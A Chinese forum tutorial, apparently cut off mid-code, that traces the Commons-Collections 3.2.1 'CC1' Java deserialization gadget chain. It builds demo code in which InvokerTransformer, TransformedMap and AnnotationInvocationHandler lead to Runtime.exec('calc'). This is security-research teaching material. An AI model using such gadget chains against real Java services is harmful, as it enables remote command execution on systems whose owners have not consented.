ToB企服应用市场:ToB评测及商务社交产业平台

标题: Commons-Collections1反序列化 [打印本页]

作者: 用户国营    时间: 2023-4-4 14:05
标题: Commons-Collections1反序列化
JDK版本为jdk8u65

commons-collections版本为3.2.1

InvokerTransformer

CC1的漏洞点在InvokerTransformer,InvokerTransformer下有一个transform方法:
  1. public Object transform(Object input) {
  2.     if (input == null) {
  3.         return null;
  4.     }
  5.     try {
  6.         Class cls = input.getClass();
  7.         Method method = cls.getMethod(iMethodName, iParamTypes);
  8.         return method.invoke(input, iArgs);
  9.     } catch (NoSuchMethodException ex) {
  10.         throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
  11.     } catch (IllegalAccessException ex) {
  12.         throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
  13.     } catch (InvocationTargetException ex) {
  14.         throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
  15.     }
  16. }
复制代码
这里的transform接受一个任意的Object类型输入,而且反射调用的参数都可以控制,那么这里就可以实现任意方法调用。
先写一个通过反射调用函数的demo:
  1. package org.example;
  2. import org.apache.commons.collections.functors.InvokerTransformer;
  3. import java.lang.reflect.Method;
  4. public class CC1 {
  5.     public static void main(String[] args) throws Exception{
  6.         // 创建Runtime对象
  7.         Runtime r = Runtime.getRuntime();
  8.         // 创建Class对象
  9.         Class c = Runtime.class;
  10.         // 使用getMethod方法从Runtime类中获取exec方法
  11.         Method method = c.getMethod("exec", String.class);
  12.         // 使用invoke方法调用method对象表示的方法
  13.         method.invoke(r,"calc");
  14.     }
  15. }
复制代码

接着,将这个demo改写为通过InvokerTransformer调用,先看一下调用InvokerTransformer需要传什么参数,结合上面InvokerTransformer中transform方法,我们应该传的参数为:"exec"、new Class[]{String.class}、new Object[]{"calc"}
  1. public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
  2.     super();
  3.     iMethodName = methodName;
  4.     iParamTypes = paramTypes;
  5.     iArgs = args;
  6. }
复制代码
那么将我们的demo改写为:
  1. package org.example;
  2. import org.apache.commons.collections.functors.InvokerTransformer;
  3. public class CC1 {
  4.     public static void main(String[] args) throws Exception{
  5.         Runtime r = Runtime.getRuntime();
  6.         new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);
  7.     }
  8. }
复制代码

下一步的目标就是寻找哪个类也调用了transform方法。
TransformedMap

这里发现TransformedMap类中的checkSetValue函数中对valueTransformer调用了transform方法:
  1. protected Object checkSetValue(Object value) {
  2.     return valueTransformer.transform(value);
  3. }
复制代码
接着,在TransformedMap中发现下面这段代码调用了valueTransformer :
  1. protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  2.     super(map);
  3.     this.keyTransformer = keyTransformer;
  4.     this.valueTransformer = valueTransformer;
  5. }
复制代码
然后又发现下面这段代码调用了TransformedMap:
  1. public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  2.     return new TransformedMap(map, keyTransformer, valueTransformer);
  3. }
复制代码
于是,可以将demo改写为:
  1. package org.example;
  2. import org.apache.commons.collections.functors.InvokerTransformer;
  3. import org.apache.commons.collections.map.TransformedMap;
  4. import java.util.HashMap;
  5. public class CC1 {
  6.     public static void main(String[] args) throws Exception{
  7.         Runtime r = Runtime.getRuntime();
  8.         InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"});
  9.         HashMap<Object, Object> map = new HashMap<>();
  10.         TransformedMap.decorate(map, null, invokerTransformer);
  11.     }
  12. }
复制代码
AbstractInputCheckedMapDecorator

接下来,需要找到如何调用checkSetValue,通过idea查找用法发现在抽象类AbstractInputCheckedMapDecorator中的MapEntry类调用了这个方法。
  1. static class MapEntry extends AbstractMapEntryDecorator {
  2.     /** The parent map */
  3.     private final AbstractInputCheckedMapDecorator parent;
  4.     protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
  5.         super(entry);
  6.         this.parent = parent;
  7.     }
  8.     public Object setValue(Object value) {
  9.         value = parent.checkSetValue(value);
  10.         return entry.setValue(value);
  11.     }
  12. }
复制代码
这里的MapEntry在遍历Map的时候会被调用,接着改写demo代码:
  1. package org.example;
  2. import org.apache.commons.collections.functors.InvokerTransformer;
  3. import org.apache.commons.collections.map.TransformedMap;
  4. import java.util.HashMap;
  5. import java.util.Map;
  6. public class CC1 {
  7.     public static void main(String[] args) throws Exception{
  8.         Runtime r = Runtime.getRuntime();
  9.         InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"});
  10.         HashMap<Object, Object> map = new HashMap<>();
  11.         map.put("key", "aaa");
  12.         Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
  13.         for (Map.Entry entry:transformedMap.entrySet()) {
  14.             entry.setValue(r);
  15.         }
  16.     }
  17. }
复制代码
这样一来,当我们遍历Map进行setValue的时候就会形成一条调用链:MapEntry -> setValue -> checkSetValue -> valueTransformer.transform,而valueTransformer就是我们通过TransformedMap.decorate(map, null, invokerTransformer)设置的invokerTransformer。
调试一下demo代码:

AnnotationInvocationHandler

继续寻找在哪个类里面调用了setValue方法,发现在AnnotationInvocationHandler类的readObject方法中使用了memberValue.setValue:
  1. private void readObject(java.io.ObjectInputStream s)
  2.     throws java.io.IOException, ClassNotFoundException {
  3.     s.defaultReadObject();
  4.     // Check to make sure that types have not evolved incompatibly
  5.     AnnotationType annotationType = null;
  6.     try {
  7.         annotationType = AnnotationType.getInstance(type);
  8.     } catch(IllegalArgumentException e) {
  9.         // Class is no longer an annotation type; time to punch out
  10.         throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
  11.     }
  12.     Map<String, Class<?>> memberTypes = annotationType.memberTypes();
  13.     // If there are annotation members without values, that
  14.     // situation is handled by the invoke method.
  15.     for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
  16.         String name = memberValue.getKey();
  17.         Class<?> memberType = memberTypes.get(name);
  18.         if (memberType != null) {  // i.e. member still exists
  19.             Object value = memberValue.getValue();
  20.             if (!(memberType.isInstance(value) ||
  21.                   value instanceof ExceptionProxy)) {
  22.                 memberValue.setValue(
  23.                     new AnnotationTypeMismatchExceptionProxy(
  24.                         value.getClass() + "[" + value + "]").setMember(
  25.                             annotationType.members().get(name)));
  26.             }
  27.         }
  28.     }
  29. }
复制代码
通过观察AnnotationInvocationHandler类可以发现memberValues是可控的:
[code]AnnotationInvocationHandler(Class




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4